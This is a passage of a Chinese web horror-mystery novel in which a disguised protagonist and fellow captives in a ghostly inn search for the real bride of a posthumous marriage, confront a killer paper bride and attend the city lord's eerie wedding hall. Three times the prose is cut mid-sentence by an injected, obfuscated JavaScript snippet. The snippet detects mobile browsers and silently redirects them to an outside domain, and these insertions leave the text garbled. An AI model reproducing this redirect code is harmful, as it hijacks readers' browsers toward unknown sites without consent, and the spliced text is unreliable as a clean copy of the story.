而且，他的眼窝，也是空的，边缘的肉翻卷撕裂，像是被极其粗暴的力量硬生生掏走…… 她有个很不好的猜测。 人皮，加上眼睛…… 只怕，已经有一个纸人新娘，与真人无异了。 …… 微弱的烛火颤动着，映着客栈众人担忧恐惧的脸，他们眼睁睁地看着苏却将这具骇人的尸体裹进锦被。 这尸体静静地躺在地上，像一座大山，压在众人的心头，仿佛无声地在提醒着他们。 死亡，近在咫尺。 有人已经在轻轻地啜泣。 “那该怎么办？我们该怎么办？”金玉明听完苏却的猜测，狠狠地捶了一拳桌子，满是哭腔：“好不容易有了点头绪，知道了纸人又怕水又怕火，可接下来又该怎么办？” “虽然我认为苏兄的想法非常合理，但是如果按照这样推论，我们只能一人一家去找才有可能找到真正的新娘。”彭绍方背了吕初郎一路，脸上露出了一丝疲惫，“可现在酒疯子没了，吕初郎伤成这样，肯定也不能继续参与，即便算上他，我们也才九个人。” 他的手指向一脸置身事外的落水人。 “等等等等，所以你们的意思是，你们一共十个人，要在这里找新娘？”落水人听了半天总算捋清了一点，问，“……那么我呢？我来这里，要干什么？” 苏却闻言，心中一沉。 这个人，早上是她救的，本来应该已经死了。 这个人，不属于这里，和他们一样，是第十一人。 多一个人，意味着什么？醉酒人的死是否会和他的到来有关系？ 赵文安侧头定睛一看，指着他大叫：“我我我认识他，他叫宋停，是个泼皮无赖。” “那赵公子你，可千万别和一个无赖计较。”那人好像从来不会让自己吃亏，手里好像拿着什么东西，在空中甩了几下。 宋停。 苏却听说过这个名字。 他是文城的一个落魄书生，听说以前挨过打关过牢房，街坊邻居对他也多有不满，所以他平日里并不怎么出门。 当时她跳水去救人的时候，心里实在是抱着侥幸。 会不会，落水的，是那一位想不开的新娘。 可事实证明。 她眼神瞬间一冷，看着他手里甩着的赵文安的钱袋，觉得自己好像救回来一个麻烦。 “其实宋公子，不瞒你说，我们也并不清楚我们来这里到底是要干什么。”袁慈邈长叹了一口气，低垂着眉眼，把自己是怎么来这里，昨晚的所有事，仔仔细细地讲了一遍。 “所以，你们都是睡着以后，醒来才发现自己在这间客栈？”宋停歪着身子跷着腿，“那我和你们，可不一样。” 他没有再往下说，眼神却看向了客栈账台，那里空无一人。 “总之，虽然今日我们有伤有亡，但也非全然无收获，算是不幸中的万幸。而且若非苏兄相阻，只怕我已经步了他们后尘……”周远至叹了口气，拉回了话题，“所以我觉得，我们最好每日都议定明日行事，凡蹊跷处、纤毫处，都记下来回来一起商议，如此方为万全。” 苏却点头：“可以分头行事，两三个人为一组，有所行动前先想一想，互相提点。我们剩余时间不多，需尽快。” “我我我我我……我要跟着……”赵文安的眼神本来飘到了苏却身上，抖了一抖后还是改口，道，“我跟着周周周远至。” “那我也跟着周兄吧。”名叫吴少凌的少年起身，朝周远至拱手行了礼，“我今天独自到街市上转了转，只发现这里白天的时间特别短，街上的人总会在一定的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279576|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重复自己的动作和言语，甚是怪异。不过还好并未遇到什么危险，之后我还是跟大家一起行动吧。” “那我带一队。”彭绍方道，“金玉明你跟着我吧。” 袁慈邈担忧道：“也不知掌柜今日会不会来，如果可以为吕兄弟找一位照顾他的大夫，我就跟你们出去，如果不行，我想留……” 苏却打断：“你别忘了，我们还有命筹排序，末位之祸。” “我不分组！”一少年情绪激动冲着苏却哭喊着，“分头行事？今天要不是你们正好在，吕初郎能活着回来吗？凭什么你说什么就是什么？谁知道你是什么居心？到最后是不是只有你找出真新娘活下来？你一早就打算好了，十天十个人，一定有一个是真的，你是不是要让我们去送死？” 他叫卫成风，除去宋停，只有他今天不曾出门。 苏却冷冷一笑：“送不送死我不知道，不过，像你这样的，又能活几天？” “你什么意思？”卫成风震怒，起身想冲过来，被彭绍方一把拦住了。 彭绍方劝道：“现在不是自己人互相责怪的时候，苏兄做事谨慎全面，我觉得分头行动没有问题的，少说少做多留心，就不会有事的。” “我也支持苏兄，你若实在不放心可以跟着我们，让苏兄带别人。”周远至建议。 苏却实在懒得再多说什么：“谁也不用跟我，我也不想带谁，我独来独往惯了。你们随意。”她语气斩钉截铁，没有丝毫转圜余地，说罢就要离席。 就在这时，摇曳的烛火似乎凝滞了一瞬。 一个身影从账台后，如同从墙壁的阴影里渗出来一般，无声无息地出现。 他的个子跟苏却一般高，虽然嘴角总是带着笑意，表现得彬彬有礼，可他的眼神淡漠冰冷，看他们就好像在看几只濒死挣扎的虫子。 这种神态，苏却总感觉在哪里见过。 “诸位，这是你们今日的命筹。”他缓缓抬起手，几片裁剪整齐的白色纸条凭空出现在他指间。 随后，他一一来到每个人的身边，庄重地递上字条。 苏却摊开，上面的字迹清秀挺拔，写着：陆。 几乎在看清的瞬间，纸条一角“噗”地腾起一簇幽蓝的火，一股焚烧般的气味同时弥漫开来。 火焰迅速吞噬纸片，眨眼间化为一小撮细腻的黑灰，落在桌面上。 再抬眼看，其他人也一样。 掌柜见所有字条均已焚尽，才缓缓开口，声音在一片寂静中格外清晰：“明日便是喜宴吉期。城主有令，特邀卫成风卫公子，于明日巳时初刻，至府中襄理婚仪诸事。公子不必担心，到时自然会有人来带你。” 掌柜笑意未达眼底，视线落在原先还在涕泗横流，却在一瞬间脸色惨白如纸的卫成风身上。 如果苏却猜得没错，这，应该就是末位之祸。 “其余诸位，”掌柜的目光扫过剩下的人，“请于吉时前，备好贺礼，至城主府观礼即可。” “等一下掌柜，你说过我们吃穿用度一应俱全，楼上有一位少年重伤难愈，是否可以为他请一位医士或者能在旁照顾之人？”袁慈邈开口，他和掌柜对视的一瞬，苏却看到袁慈邈明显打了个哆嗦。 “生死自有因果。你救得了一个，可能救得所有？” 掌柜反问，袁慈邈无话可说。 “掌柜你等等。”又一个声音叫住了掌柜。 是宋停。 “听说你这儿，寿命可以交易是吧。”他走到掌柜面前，拍着他的肩膀，居高临下地看着他道。 “不知道我还有没有十年寿命，你拿去吧。” 5. 阴亲（五） 阴亲（五） 不知道是不是因为进行了交易，掌柜脸上的笑意更浓：“十年之物已兑罄，诸位如还有需要，在下随时恭候。” 说罢，就走回账台，掀帘而去，转瞬无踪。 所有人的目光，如同被无形的线牵引着，死死粘在宋停怀里的那个木盒上。 那里面装着的，是十年阳寿换来的线索，是可能关乎生机的秘钥。 面前这个人，竟然面不改色地换了。 而且非但不藏，还更是招摇地拿着木盒在手里转了转，让盒子叮呤咣啷地响给众人听。 “诸位都散了吧，去休息吧。”宋停扬声打破沉默，“现在养精蓄锐，明日才有命接着玩啊。” 然后他笑着，几步就跟着苏却上了楼梯，在她身后，声音不高不低，却足以让她听清：“明日，我跟你一组。” 苏却脚步未停，甚至连头都没回，只有冷冰冰两个字砸过来：“随你。” 楼下，袁慈邈最终叹了口气，与彭绍方低声商议明日同行探查之事。 周远至拍了拍面无人色、几乎瘫软的卫成风，却也说不出什么安慰的话。 今天是准备日，他们的情况已经一死一瞎。 明日就是婚宴，已经自顾不暇自求多福，如何还有心情再去照顾别人。 只有宋停，看起来全然不在乎自己的生死，又挥霍又嘲讽，像个局外人。 苏却径直走向自己的房门，刚要进去，身后就贴上来一个身影。 宋停从她肩侧伸出手挡了她一下，抢先一步要跨进去，动作自然得仿佛回的是自己的房间。 然而苏却反应更快，她左脚迅捷探出，绊在宋停即将迈入门槛的脚前，同时腰肢发力，整个身子以堪堪擦着宋停的衣侧向内一旋，瞬间翻入屋内。 几乎是同时，她落地无声，右手已然扶住门板，挡在他身前。 两人距离极近，四目相对。 廊道烛光下，苏却看着他布满血丝的眼睛。 “你跟着我，”她一字一顿，带着警告，“没用。” “公子救了我的命，恩同再造。”宋停非但不退，反而又往前欺近了半分，微微低下头，气息已经拂在苏却的脸上。 他声音里却带着一种让人牙痒痒的笑意：“若是放任我自生自灭，一不小心死了，再无法偿还公子恩情，岂不是要等来生相见？所以……” 他刻意拉长了语调，趁苏却晃神时矮下身，肩膀一缩，脑袋一低，一下就从抵着门的胳膊下方跃了进来。 站直身体后，他又把脑袋向后探。 “所以，苏公子，”他目光落在她紧绷的侧脸上，语调轻佻却又欠打，“你可要对我负责啊。” 苏却白眼一翻，强压下立刻将此人从窗户扔出去的冲动。 这人又疯又赖，像一张烂膏药，简直蛮不讲理。 何必再找什么真假新娘，有此一人就已经足够折磨她了。 而烂膏药此时却往苏却床上一坐：“而且，你不好奇里面是什么东西吗？来来来坐过来，我可能会勉强同意和你一起看。” 苏却几步上前，拎着他肩膀处的衣料，语气里已是嫌弃：“出去。” 宋停变本加厉，往后一仰，理直气壮地拒绝：“不要，没有房间了。” “有。” “没被子。” “我的给你。” “可那里是死人住过的。” “那我去。” “不要，我一个人害怕，万一被吓死了怎么办？”宋停一个滚身，压住了床上的衣服。 “那不正好如你所愿？”苏却冷嗤，伸手去抽衣物。 今天跳水救人，衣服与裹身布条都已经湿透。 虽然需遮掩之处不甚明显，但这些年来日日夜夜她早已习惯，所以还是拧干缠回，只多穿了一件里衣掩盖水痕。 可，她总要换的。 拉扯间，她抬眼，不知何时，他的脸上已褪去了表情。 他看着苏却看了很久，才悠悠开口问道：“难道，你不想看看，人，最阴暗的一面吗？” 苏却没有再说话。 她不清楚自己字条上的“陆”代表着什么意思，但是作为命筹数字来说，它并不小。 她当时也没时间留意别人，不知道大家的情况。 可除去被点的卫成风，宋停也没有出门，如果是按调查中收集到的内容多少来看，末位应该还有一个宋停。 除非宋停今日并未算在排序之中。 或许是因为他今日被救起，算作是今天加入，而他们属于昨天的队伍。 那么为什么宋停今天才加入？如果她没有救他呢？…… 突然苏却手上一轻，衣服已经被抽出拿在手里，床上的宋停竟已经阖眼入睡…… 她心里一紧。 自己还是太粗心大意了。 刚来的晚上自己沾枕即眠，抬回客栈救治的吕初郎也是躺回床上即入昏睡，刚刚明明还跟自己拉扯交谈的宋停转眼就睡得安详…… 一次是巧合，两次就足够不寻常，可自己硬是第三次才发现。 万一出了什么意外，自己怕是死于睡梦之中都浑然不觉。 苏却关了门，将手中衣物撕出一条布，吹灭烛火后飞快地更换。 然后，她抽走了宋停脑袋下面的枕头扔在一侧，一个劲地拍打着他的脸。 她越拍越用劲，可睡着的宋停毫无反应。 他不会要一觉睡到天亮吧？ 不多时，她听见外面的廊道有轻微的脚步声，一直在靠近，靠近。 她住在最靠里的一间，对面住的是赵文安。 如果他要过来，并不会是这样的动静。 而且，这人分明是知道客栈房里的枕头有助眠之效，特意在烛灭之后还等了一会儿，才鬼鬼祟祟地来。 目的，肯定是那一只木盒子。 苏却抓起锦被一裹一推，把宋停和木盒裹在一起推向床里侧，自己则躲在床底下，方便及时应对。 然后，门，吱呀一声开了。 苏却屏息，在一片漆黑中听着那人的脚步声，依然无法分辨是谁。 更近了……就在床边了……停在床前了…… 苏却双手一伸，从床底一把抓住来人的脚踝，双臂交叉狠狠一绞。 来人猝不及防，双脚被制瞬间失衡，整个人不受控制地仰面向后倒去。 她根本不给对方任何反应的机会。 几乎是滑出床底的同时，她借着身体前冲的势头，右腿膝盖已然下压，重重砸在对方胸腹之间膝盖死死抵住。 她的左手紧扣住对方刚刚试图挣扎的手腕，右臂屈起，手肘已然悬停在对方咽喉上方，随时可以致命下击。 她虽不重，力道却大，但那人全程愣是没有发出一丝呼痛。 但…… 如果是寻常男子，即便日常不劳作，也不应该无力反抗任由苏却钳制。 可身下这人……右手明显使不上劲…… “周远至。”苏却在黑暗中叫出了他的名字，没有任何疑问，也没有松手。 那人仍旧一言不发，挺身挣扎了两下，却是徒劳。 就在这时，床榻那边传来窸窣声响，宋停不知何时竟坐起了身。 而且他似乎早有准备，摸索着下了床，趿拉着鞋，慢悠悠地蹭到桌边，途中还不知有意无心地踢了苏却一脚。 他对着手里的火折子吹了一口，微光一闪一晃，房内就亮了起来。 昏黄的光线驱散黑暗，周远至脸色煞白，额上全是冷汗。 “哎呀呀，”宋停夸张地打了个哈欠，踱步过来，蹲在周远至脑袋旁边，歪着头打量他，“周兄，这深更半夜不请自来，是有什么指教吗？” 周远至紧闭双眼，嘴唇哆嗦着，一言不发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279577|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋停笑了笑，站起身，四处看了看，发现了那件被苏却撕烂的衣服。 “苏公子，劳驾，压稳点儿。”他边说边利落地撕下剩余的布，用布带将周远至的双腕牢牢绑住，打了个死结，然后又继续撕布条，将他的脚踝也捆在了一起。 “好了。”宋停拍拍手，把剩下的布团一团塞进他嘴里，“既然周兄不爱说话，又这么喜欢这个房间，正好明日哪也别去了，留下好好做客吧。” 苏却刚想问点什么，却又发觉到了不对劲的事情。 窗外的天色以肉眼可见的速度褪去墨黑，染上灰白。 远远传来了更夫敲打梆子的声音。 笃，笃，笃…… 连续五声，清晰入耳。 五更天了！ 这里的夜晚竟也如此短暂，一晃神就过去了。 已经能听到有人醒了以后开门下楼的动静。 苏却坐在地板上，冷眼看着使劲把周远至塞到床底下的宋停：“我只有两个问题要问你，希望你如实回答。第一，你是不是故意的？” “你问的是哪一件事？” 宋停把周远至塞进床底后，又拿了床上的枕头垫在他脑袋下面，等他睡着后，才吁了口气，靠着床也瘫坐在地上。 “如果是刚刚踢你一脚，我故意的；你拿走枕头以后拍我脸，我装睡，故意的；大庭广众下纠缠你跟你进房间，我也是故意的……毕竟我，没有把握能控制住这个人。” “好。”苏却点头表示认可，又问，“那么第二，你知道多少？” “我知道的，几乎都是你们告诉我的。除了……”宋停伸手指了指窗外，“哦对，还有没打开的这个盒子。” 他继续道：“很抱歉，我并非如你心里猜测的那样，是整件事的幕后黑手。对你，我已经坦诚相告，相信你心里应该很清楚，能不能活着我并无所谓，我一直以为自己已经必死无疑。可是……你一定不敢相信。” “从掌柜手里接过木盒的时候，我的眼前，出现了我临死之时的画面。”宋停伸手在床上摸到了那个木盒，拿在手里。 “在那个画面里，我看到了你。” “……我？”苏却从来不相信这些怪力乱神。 但这两天……准确来说，这里的昼夜时间异常短暂，根本不能用天来计算。她的所见所历，实在让人匪夷所思。 她不明白，自己的人生从来不曾想过别的什么事，只有一心一意为父母报仇。 为何会突然卷入这种毫无意义的事情之中？ 她一直低着头，坐着，直到看见宋停的手。 “起来吧，天已经亮了。”他伸手拉起她，“要知道原因，就应该找出这里的真相，不是吗？” 只是， 咣啷—— 楼下传来了好大的动静，不知又发生了何事。 把难得表情正经的宋停吓得一抖，有些尴尬地笑起来。 一下楼，他们两人就看见门口站着两个身形粗犷、面色冷硬，穿着暗红色服饰家仆模样的男人。 靠近门口的地上，尽是碎了的碗盘、流淌的汤汁、沾了灰的糕点小菜。 按理说昨天分了组，总该是按分组入座，还能商量一下接下来的行动。 可赵文安却和彭绍方、金玉明、袁慈邈坐在一起。他们面前碗筷齐全，显然没动，估计是在等那个不会起床，只能躺在苏却床底睡觉的周远至。 吴少凌并没和他们坐在一起，反而站在卫成风的旁边。 他侧着身，苏却看不见他的表情。 反倒是卫成风还挺冷静地坐着，面前的桌子上空荡荡的。 地上那些，原本都应该放在他面前。 “我再说一次，”家丁的声音毫无感情，“奉城主令，请吴少凌吴公子，即刻前往府中，襄理婚仪。” 不是卫成风？！ 是吴少凌？！ 6. 阴亲（六） 阴亲（六） 吴少凌难以置信地看着门口那两人，又盯着面前的卫成风，面无血色，嘴唇翕动，发不出任何声音。 那两个家丁见无人有反应，径直上前，一左一右，毫不客气地架起还在震惊中的吴少凌，转身就往外拖。 “不……不是我……不是我……”吴少凌终于惊恐地挣扎尖叫起来。 但他的反抗显得如此徒劳。 声音渐渐消失在门外的晨光中。 客栈内死一般寂静。 只有卫成风瘫软下原先笔直挺坐着的身子，脸上虽有劫后余生的愉悦，但更多还是恐惧和茫然。 他换了。 以一年阳寿换得窥命镜，以此镜观自己的命序，并会额外赠予命筹避开末位之祸。 “掌柜并没有说过，被城主带走就是死路一条。你这样，是不是有点太过分了？”彭绍方看向卫成风的眼神，明显带着不屑。 卫成风深吸一口气，勉强镇定道：“可掌柜说过，有需要就找他。我只不过是做了一个人人都会做的选择而已，你凭什么指责我？” “而且，”他继续道，“当时的承诺是你说的，我只是喝了酒，并没有答应要和你们同生同死。所以我一定会活着离开，一定会！” “你如果有危险我们一定会想办法救你。”袁慈邈语气沉痛，“可是你这样的作为，我们怎么再敢带着你行动呢？你以为命筹很好得吗？今天你若还是末位，又该怎么办？” “等你们救我？你看看昨天的酒疯子，被人挖了眼扒了皮，还有一个瞎子昏死在楼上，我怎么能让我的命，掌握在你们这些心怀鬼胎的人手上。说真的，你们不想活吗？” 卫成风双眼通红，脸上又哭又笑，声音已经几乎在嘶吼。 “你们现在敢公布自己的命筹、命序，然后大家一起坐下来慢慢计划商量，真的一起活一起死吗？你们从来没有想过，让别人去试出致死的条件，让自己躲过灾祸吗？不可能的，你们都是嘴上说说，心里巴不得周围的人都死绝了……酒疯子的死不就让你们推断出不能掀新娘的盖头不能看她的眼睛嘛！！！” 他吼出最后一句话的时候，没有一丝停顿。他激动地拍着桌子，眼神里全是对他们的戒备。 卫成风并没有说错。 苏却的猜测，被酒疯子的死亡证实。 他们现在拥有的经验，都是他人之命换来的成果。 可，他们还能如何？ 能顾好自己的事，就不算白活，遑论顾他人。 苏却并没有加入这场批判指责，静静地坐下吃完了自己的早膳，直至出门也再没有多说一句话。 只有宋停抱着木盒“叮呤咣啷”地跟在她身后。 “欸，欸，苏公子，我们这是去哪？”宋停个子不矮，腿也不短，却是喘着气小跑着跟着她。 苏却大步流星：“去昨天他们出事的那一家看看。” 路过街口时，宋停在后面喊她：“不买贺礼吗？” “先去再买。”苏却脚步一拐，已经到了第三家门口。 她抬手敲门。 “门外是哪一位？”和昨日一样。 苏却刚想张嘴，宋停却抢先开了口。 他笑嘻嘻地高喊：“我听说店家的手艺实在是好，想来拜师学艺呢……” 话还没说完，门就打开了。 开门的依然是新娘父亲，眉眼样貌并无不同。 “啊呀呀，这就是师父吧，一看师父的手就是能起死回生的神手。不瞒师父你，我从小啊就和纸打交道，如今遇到师父真是相见恨晚分外亲切……那，就是师父做的纸花了吧……”他一边说，一边直接就往里走，语气动作实在夸张。 新娘父亲脸上竟然挂着笑，还转过头来示意苏却一起进去。 要不是地上和木门后面还留着昨天的血迹，她一定觉得这个父亲，已经跟宋停一起疯了。 不过好消息是，暂时可以确定十间房子的位置不会随机更换。 坏消息是，不知道里面的人，会不会变。 这是她今天回这里的目的之一。 目的二，就是新娘。 她看了看与新娘父亲相谈甚欢的宋停，又瞧了一眼在灶屋忙活的新娘母亲，趁此良机，再一次飞快进了新娘屋内。 房间依然空间狭小。 新娘依然像一尊石像一般端庄坐着。 只是床非常乱，被子毫无规则地散乱着，似乎盖着底下什么东西。 苏却径直到新娘身边，蹲下身，非常仔细地看了她的双手和指甲。 白皙、干净，没有血迹。 可床边、地面、墙甚至聘礼箱里的东西上，到处都残留着、飞溅着已经干涸的暗红色血迹…… 她实在无法想象昨日，醉酒人和吕初郎在这个地方，究竟经历了什么。 可细细一听，面前的新娘仿佛心情很好。 她，竟然在轻轻地，笑？ “你，杀人了。”苏却直接起身，声音冷厉，“交代、偿命，你二选一。” 短暂的沉默后，新娘突然大声地“嘻嘻嘻嘻——”笑起来，声音又脆亮，又刺耳。 “偿命？”新娘的声音带着阴森，“你想怎么让我偿命？还是你以为……你今天还能走出这个房间？” “你以为披上人皮，就能藏得住？”苏却冷笑，“死的，永远变不成活的。” “嘻嘻嘻……只要有个蠢蛋，能把真的带走。”新娘的笑声戛然而止，转而有一种平静的疯狂，“等会儿他们就要来接亲了，要我告诉你，真的新娘在哪一间吗？” 就在这时，屋外传来宋停陡然拔高的、极其夸张的大笑声，像是在提醒她什么。 时间紧迫。 “说。”苏却吐出一个字。 “我可以告诉你，”新娘像木桩一样站了起来，动作僵硬，盖头在动作时剧烈晃动，“但是作为交换，我需要你帮我一个忙。” 苏却没说话。 “……第九间……她，今日在第九间。今日过后，你未必找得到我，我也未必有机会告诉你。”新娘也没管她是否答应，自顾自继续说，“她，是好人，少主也是，我们谁都没有错，错的是这个世道！” “所以，你帮我告诉她，今后无论谁死，都是命……”她的声音听起来又悲伤又遗憾，就像站在苏却面前的，是那位真正的新娘。 “还有……”她迟疑片刻后问道，“你能不能告诉我，你是怎么看出我是假的？” 苏却回头看了这位人皮新娘一眼，最终还是没有告诉她。 她的手…… 偏僻小城手作商贩的女儿，如何会有那么一双十指纤纤如柔夷如凝脂般的手呢？ 人皮倒是清理的干干净净，却不知道为什么没有处理掉这些证据。 被子下藏着的，应该就是新娘在更换人皮时换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279578|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的，沾上了醉酒人和吕初郎血迹的， 纸。 她刚走出新娘房门，就差点迎面撞上了不知何时悄无声息站在门外阴影里的新娘母亲 那妇人一双眼睛死死斜盯着她，眼神怨毒：“你在干什么？和我女儿说了什么？” “找茅房，走错了。”苏却面不改色，脚下不停，径直穿过堂屋向院门走去。 宋停见状，立刻结束了他浮夸的拜师论，打了个哈哈，也跟着溜了出来。 看天色已经过了正午，只耽搁这么一会儿，就已经过去了大半天。 恰在此时，第四扇门猛地从里面打开，彭绍方捂着额头踉跄而出，额上一块红肿清晰可见。 袁慈邈跟在他身后，脸色发白，脚步虚浮，看到苏却和宋停从第三家出来，脸上掠过一丝尴尬。 “苏兄，宋兄……”袁慈邈勉强笑了笑，“你们这边……” “看来你们不太顺利。”宋停挑眉看着彭绍方额上的伤。 袁慈邈摇头无奈道：“所见之景与昨日一般无二。” 赵文安喘着气缓着神，但又迫不及待开口问：“你们倒是顺利，有什么线索，不，不一起说出来听听……吗？” 宋停听着他越来越小的声音，笑起来斜着眼珠打量着走到他身边，还拍了拍他后背：“啊哟你是不知道，要不是我人机灵，差点就被卖在这里头当苦力了。还好哇你是没跟着这黑心贩子，不然，肯定轮到你。……欸欸欸苏公子，你为什么又不等我就走啊” “苏兄应该是去买贺礼了，再晚点商铺就该关门了，我们也一起去吧。”袁慈邈道。 他们一连打听了几个人，都说城里买这种价高的珍品宝物，只有一家。 看来对于贺礼，城主并没有什么要求。 毕竟他们的钱，也都是城主给的。 金玉明挑中了店内一对非常昂贵做工繁复的犀角杯，掏空自己钱袋不够还问赵文安要了一点；赵文安选了一柄玉柄素绸团扇；袁慈邈选了一对白瓷材料做的鸳鸯摆饰；彭绍方别出心裁，去酒楼里买了一坛上好的酒。 他们还将剩余的钱凑了凑，帮周远至买了一盒上等的香膏。 宋停肆无忌惮地笑了好久，只不过他一直古怪，几人也并未有什么疑心。 苏却则是一眼就相中了一对龙凤玉佩。 玉的成色非常好，触手温润，龙凤形态精美流畅，穿着红绳并排装在垫着黑色丝锻的樟木盒子里。 店家推荐这种木头不易腐烂，还能防虫蛀。 如果到时候真的要又进棺材又下地的，材质倒也合适。 瞥了一眼宋停，他发现了一个结构精巧的铜制机关鼠，上了发条便能自行跑动一段距离。 现下付了钱玩得正起劲，完全不在乎这东西能不能当做贺礼。 等一下。 苏却停下了探入钱袋的手。 她只觉得一股寒意自指尖猛地窜上脊背，手中的骨头钱币几乎要握不住。 她意识到一个被所有人忽略的、毛骨悚然的矛盾…… 一个被自己遗漏了的重要细节。 金玉明在昨天清晨就说过这件事，自己当时明明亲自确认过。 这里的钱币确实是各式各样的骨头。 掌柜给大家的钱袋是如此，街头铺子、街边商贩使用的也都是如此。 那新娘房间里，聘礼箱中满满放着的金银元宝，是什么？ 7. 阴亲（七） 阴亲（七） 城主家的方向和客栈完全相反。 走在半路上天色渐暗的时候，赵文安还害怕地抱怨，说一到晚上就是不见五指的漆黑，总感觉里面藏着什么。 也只有袁慈邈好性子，任他一路拽着衣袖，听他絮絮叨叨。 可没走多久，他们就发现一路上都有灯笼，一盏血红一盏惨白地间隔着，沿着路延伸，尽头就是城主府。 生怕他们找不到一般。 灯笼的光在渐浓的夜色中晕开，映得人影幢幢，交叠出各种摇晃扭曲的影子。 四下里死寂无声。 并非寻常的安静，而是连风吹草动都显得格外清晰。 仿佛整座小城都已死去，唯有他们几人是误入坟茔的活物，每一步都踏在未知之上。 城主府很快出现在眼前，高门大院，门前挂着灯笼，门口无人迎接也无守卫，只冷冷清清敞着大门。 这般顺畅无阻倒是令大家心生疑虑，踌躇不敢上前。 只有苏却在前领路，其余人才敢随后跟上，求几分心安。 门内并非寻常高门富户那般庭院深深、仆从环伺的景象。 入门便见一道影壁，其上雕刻的图案似是马踏山河，本来应该颇具气势，如今却蛛网暗结，图案的细节已经难以辨清，只余模糊的轮廓。 绕过影壁，眼前是一条甬道，两侧是抄手游廊，廊柱的有些地方甚至起了皮，卷曲着。脚下的青石板路缝隙里钻出几丛野草，无人清理。庭院中的花木也久未修剪，枝桠横生。 空气里弥漫着一股刺鼻的味道，是终日不绝的香火和蜡烛燃烧混合在一起的气味，沉甸甸地压在人的口鼻之间。 不见一个侍从，不闻一声人语。 唯有他们几人的脚步声落在石板上，发出轻微回响。 按照这里的昼夜时间，府内如此破败荒凉，也不是不能理解。 只是，这少城主究竟死了多久？ 为何到现在，才来办这场阴亲？ 不多时，他们就走到了一处布置成喜堂的宽敞前厅。 与一路行来的荒凉截然不同，这里被刻意布置过。 四处挂着红绸，贴着鲜红的囍字，烛火通明，却空无一人。 喜堂正中央，赫然停着一口黑漆棺木，棺木前设有香案，瓜果糕点堆叠，两盏长明灯的火苗笔直向上，纹丝不动。 而棺木旁，端坐着一人。 那人穿着大红色的新郎喜服，头戴冠冕，身形僵硬，面无血色，眼神空洞地望着前方。 正是早晨被带走的吴少凌。 他像个被抽走了魂的傀儡，被摆放在棺椁之侧。 “吴……吴兄？”袁慈邈声音发颤，几乎不敢认。 吴少凌毫无反应，连眼珠都未曾转动一下。 金玉明倒吸一口冷气，害怕地下意识地后退半步。袁慈邈身后的赵文安更是头都不敢探出看，死死攥住袁慈邈衣袖。彭绍方眉头紧锁，警惕地环视这喜堂周围，不敢上前。 苏却几步便进屋探了他颈侧，皮肤是温的，脉搏也在跳动，人还活着。 她的目光落在那口黑漆棺木上。 里面躺着的，想必就是那位英勇战死的少城主。 他周身并无明显腐坏迹象，保存得异常完好。 看得出，这曾经是一位意气风发的少年，五官轮廓依稀有着生前的俊朗，只是面容经过精心打理，敷了粉，不似活人颜色。 他双目紧闭，眼窝微微下陷，嘴唇抿成一条线，头颅被端正地安置在锦枕之上，纹丝不动，双手交叠于腹前。 他静静地躺在那里，穿着新郎的吉服，等待着即将到来陪伴他的新娘。 “那苏兄……我们现在怎么办？能把吴兄带走吗？”袁慈邈看向出门的苏却问道。 “若强行带走，不知会引发何种后果。”彭绍方沉声否定，“掌柜叫我们带上贺礼来观礼，一定有什么事是我们必须要做的。而且这场婚事乃是万事之源，城主更是一手操办，岂能说来就来，说走就走？” 一名老仆不知何时悄无声息地出现在角落，佝偻着身子，手上只拿着一本登记册，另一只手拿着笔，点了点众人。 献贺礼的过程简单得出奇。 这老仆默不作声地收下了他们带来的犀角杯、团扇、瓷鸳鸯、酒坛和香膏，对那机关鼠也未表异议，只是将东西一一记下后，便又退入阴影之中。 苏却眼睛尖，看到在他们的姓名上方，已经写着卫成风的名字和他的贺礼——一只墨斗。 他倒是会挑东西。 苏却虽不信这个，但从小也算是耳濡目染。 据说墨斗线能划阴阳，镇邪祟。用墨斗在棺椁内侧弹满墨线，形成网格，便可布下天罗地网，将魂魄困于棺内。 此时送上，最合时宜。 喜堂这儿再次只剩下他们几人，无人招待，无人指引，也不曾见到早来的卫成风。 诡异的气氛压抑得让人喘不过气。 彭绍方率先打破沉默，提议四处看看，寻找线索，总不能在此干耗。 众人并无异议，决定两两分散开来，并再三说好只查探，不行动，有异常就在此处碰头。 袁慈邈和赵文安负责从门口到喜堂这一路。 彭绍方和金玉明，负责喜堂周围这一片的所有屋子，以及前厅所有。 苏却径直绕过喜堂，向后院行去。 宋停散漫地跟在苏却身后，嘴里哼着不成调的古怪音节。 路两旁虽有灯盏，却稀疏黯淡，愈往里走，连喜宴装饰都再没踪影。 苏却一路用手指划过那些墙壁，观察着经过的每一扇门、每一处转角，试图在脑中勾勒出府邸的布局。 